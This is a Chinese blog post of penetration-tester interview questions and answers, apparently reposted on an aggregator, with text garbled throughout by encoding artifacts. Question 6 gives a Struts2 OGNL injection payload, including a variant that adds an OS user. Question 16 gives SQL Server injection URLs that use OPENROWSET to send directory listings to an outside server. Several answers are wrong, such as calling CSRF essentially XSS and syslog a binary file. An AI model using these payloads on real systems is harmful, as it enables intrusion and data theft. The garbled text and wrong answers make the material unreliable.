【网络安全】渗透工程师面试题总结大全
前言
總結(jié)了一些面試題,大家看看吧!
1.如果給你一個(gè) XSS 盲打漏洞,但是返回來的信息顯示,他的后臺(tái)是在內(nèi)網(wǎng),并且只能使用內(nèi)網(wǎng)訪問,那么你怎么利用這個(gè) XSS?
必須是 self xss + csrf +ssrf 到 getshel
2.php 的 LFI,本地包含漏洞原理是什么?寫一段帶有漏洞的代碼。
如果允許客戶端用戶輸入控制動(dòng)態(tài)包含在服務(wù)器端的文件,會(huì)導(dǎo)致惡意代碼的執(zhí)
行及敏感信息泄露,主要包括本地文件包含和遠(yuǎn)程文件包含兩種形式。
常見包含函數(shù)有:include()、require()
區(qū)別:
include 是當(dāng)代碼執(zhí)行到它的時(shí)候才加載文件,發(fā)生錯(cuò)誤的時(shí)候只是給一個(gè)警告,
然后繼續(xù)往下執(zhí)行
require 是只要程序一執(zhí)行就會(huì)立即調(diào)用文件,發(fā)生錯(cuò)誤的時(shí)候會(huì)輸出錯(cuò)誤信息,
并且終止腳本的運(yùn)行
3.CSRF 漏洞的本質(zhì)是什么?
本質(zhì)就是 xss
4.你都了解哪些 java 框架?
spring 和 struts2 框架
5.ibats 的參數(shù)化查詢能不能有效的控制 sql 注入?有沒有危險(xiǎn)的方法可以造成 sql 注入?
SQL 注入主要的是因?yàn)槲谋究虻膬?nèi)容和 SQL 連接以后會(huì)改變 SQL 的語義,例如:文本框包含單引號(hào)什么的
參數(shù)化查詢就可以將這些內(nèi)容獨(dú)立作為參數(shù),本身的語句不會(huì)改變。
【面試題獲取】
【面試題獲取】
6.說說兩次 struts2 漏洞的原理?
Struts2 的核心是使用的 webwork 框架,處理 action 時(shí)通過調(diào)用底層的
getter/setter 方法來處理 http 的參數(shù),它將每個(gè) http 參數(shù)聲明為一個(gè) ONGL(這里是 ONGL 的介紹)語句。
當(dāng)我們提交一個(gè) http 參數(shù):
?user.address.city=Bishkek&user['favoriteDrink']=kumysONGL 將它轉(zhuǎn)換為:
action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys")這是通過 ParametersInterceptor(參數(shù)過濾器)來執(zhí)行的,使用用戶提供的 HTTP參數(shù)調(diào)用 ValueStack.setValue()。
為了防范篡改服務(wù)器端對象,XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符,但如果使用了 Java 的 unicode 字符串表示\u0023,攻擊者就可以繞過保護(hù),修改保護(hù) Java 方式執(zhí)行的值:
此處代碼有破壞性,請?jiān)跍y試環(huán)境執(zhí)行,嚴(yán)禁用此種方法進(jìn)行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(a aa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u 003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))& (asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti me()))=1轉(zhuǎn)義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#c ontext['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=ne w%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Ru ntime@getRuntime()))=1OGNL 處理時(shí)最終的結(jié)果就是
java.lang.Runtime.getRuntime().exit(1); //關(guān)閉程序,即將 web 程序關(guān)閉 類似的可以執(zhí)行 java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增 加操作系統(tǒng)用戶,在有權(quán)限的情況下能成功(在 URL 中用%20 替換空格,%2F 替換/)
只要有權(quán)限就可以執(zhí)行任何 DOS 命令
7.ongl 在這個(gè) payload 中起了什么作用?
Ognl 表達(dá)式語言,Struts 標(biāo)簽?zāi)J(rèn)支持的表達(dá)式語言,必須配置 Struts 標(biāo)簽用,
不能離開 Struts 標(biāo)簽直接使用,就是說 Ognl 必須在 Struts 中使用
8.\u0023 是什么字符的 16 進(jìn)制編碼?為什么在 payload 中要用他?
#,在 S2-005 中可通過\u0023 繞過過濾執(zhí)行
9.xss filter 在 java 程序的哪里設(shè)置?
在 web.xml 里面配置
10.說下 java 的類反射在安全上可能存在哪些問題?
可能會(huì)導(dǎo)致 JAVA 反序化漏洞
11.tomcat 要做哪些安全加固?
升級(jí)到最新穩(wěn)定版
從監(jiān)聽端口上加固
僅在本地監(jiān)聽
如果 Tomcat 不需要對外提供服務(wù),則監(jiān)聽在本地回環(huán),前面放 Nginx。
如果需要對外提供訪問,比如一個(gè) Nginx 掛多個(gè) Tomcat,那么在服務(wù)器上用iptables 只允許負(fù)載均衡器的 IP 來訪問
關(guān)閉 8009 端口
現(xiàn)在我們一般不用 Apache 通過 AJP 協(xié)議來調(diào)用 Tomcat 了,所以 AJP 端口可
以關(guān)閉。
8005 端口
查看端口占用情況
自定義錯(cuò)誤頁面,隱藏 Tomcat 信息
編輯 conf/web.xml,在標(biāo)簽上添加以下內(nèi)容:
禁用 Tomcat 管理頁面
刪除 webapps 目錄下 Tomcat 原有的所有內(nèi)容
刪除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 這兩
個(gè)文件
用普通用戶啟動(dòng) Tomcat
禁止 Tomcat 列目錄
如果 tomcat 重啟的話,webapps 下,你刪除的后臺(tái)會(huì)不會(huì)又回來?
你只是刪除了后臺(tái),并沒有刪除 webaspps 下 war 包
12.mysql 數(shù)據(jù)庫默認(rèn)有哪些庫?說出庫的名字?
1.mysql 庫,存儲(chǔ)用戶等信息
2.information_schema,存儲(chǔ)表、鎖等性能信息
3.test,mysql 自建測試庫
4.performance_schema,互斥鎖等信息(5.6 之前需要手動(dòng)開啟,從 5.6 開始
默認(rèn)開啟)
13.mysql 的用戶名密碼是存放在那張表里面?mysql 密碼采用哪種加密方式?
mysql.user 表
MySQL 4.1 版本之前是 MySQL323 加密,MySQL 4.1 和之后的版本都是
MySQLSHA1 加密
MYSQL323 加密中生成的是 16 位字符串,而在 MySQLSHA1 中生存的是 41位字符串,其中**是不加入實(shí)際的密碼運(yùn)算中,通過觀察在很多用戶中都攜帶了"",在實(shí)際破解過程中去掉"*",也就是說 MySQLSHA1 加密的密碼的實(shí)際位數(shù)是 40 位。
14.mysql 表權(quán)限里面,除了增刪改查,文件讀寫,還有哪些權(quán)限?
排序,查詢,索引等
15.mysql 安全要如何做?
Mysql 賬戶權(quán)限安全
Mysql 數(shù)據(jù)的網(wǎng)絡(luò)安全配置
密碼策略安全
Mysql 日志
Mysql 數(shù)據(jù)庫服務(wù)所在主機(jī)安全配置
部署 SQL 注入檢測、防御模塊
mysqld 安全相關(guān)啟動(dòng)選項(xiàng)
mysql 備份策略
16.sqlserver public 權(quán)限要如何提權(quán)?
注入點(diǎn)執(zhí)行
aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2 nvarchar(500))注入點(diǎn)執(zhí)行
aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2) exec master.dbo.xp_dirtree [d:/] ,1,1;--注入點(diǎn)執(zhí)行
aaa.com x.asp?id=123;insert into OPENROWSET ('sqloledb','server=xx.xx.xx.xx,1433;Initial Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2 from dhtemq') select dirtree,num1,num2 from ##dhtemq xx.xx.xx.xx 執(zhí)行 select * from dhtemq --建立一個(gè)臨時(shí)表,一般的表我們是無辦法建立的,我們只能建立臨時(shí)表#-----為本地臨時(shí)表##----為全局臨時(shí)表create table ##nonamed(dir ntext,num int)--調(diào)用存儲(chǔ)過程把執(zhí)行回來的數(shù)據(jù)存到臨時(shí)表里面insert ##nonamed execute master..xp_dirtree 'c:/',1--然后采用 openrowset 函數(shù)把臨時(shí)表的數(shù)據(jù)導(dǎo)到本地 MSSQL 的 dirtree 表里面了insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree') select * from ##nonamed以上方法,也就是說 public 可以遍歷用戶服務(wù)器的目錄
在 NBSI 中,只要把臨時(shí)表名加前加##就可以了,但要注意 URL 轉(zhuǎn)碼,即
寫成:%23%23nonamed 就 OK 了!
17.簡述 Linux 系統(tǒng)安全加固需要做哪些方面?
1.密碼安全策略
2.關(guān)閉不必要的端口和服務(wù)
3.文件權(quán)限的設(shè)置等
18.你使用什么工具來判斷系統(tǒng)是否存在后門?
pchunter 攻擊查看進(jìn)程和服務(wù)
19.Linux 的 Selinux 是什么?如何設(shè)置 Selinux?
SELinux 是一種安全子系統(tǒng),它能控制程序只能訪問特定文件
使用 setup 工具進(jìn)入圖形化關(guān)閉搜索或者修改/etc/sysconfig/selinux 文件
SELINUX=disabled
防火墻打開使用 service iptables start 或則/etc/init.d/iptables start
20.iptables 工作在 TCP/IP 模型中的哪層?
網(wǎng)絡(luò)層
21.syslog 里面都有哪些日志?安裝軟件的日志去哪找?如何查詢 ssh 的登錄日志?
cd /var/log less secure22.syslog 可不可以使用 vi 等工具直接查看?是二進(jìn)制文件嗎?
不能,只能使用 cat 之類的命令攻擊查看,屬于二進(jìn)制文件
23.DNS 在滲透中的作用?
通過 DNS 可以查詢對應(yīng)的 IP 主機(jī)名,也可以查詢出是否存在域傳輸漏洞
網(wǎng)絡(luò)安全滲透開發(fā)發(fā)向是所有安全人所追求的目標(biāo),希望這篇文章能幫助到需要的人
總結(jié)
以上是生活随笔為你收集整理的【网络安全】渗透工程师面试题总结大全的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: android模拟器 平安行,携手MuM
- 下一篇: snkrs抽签协议获取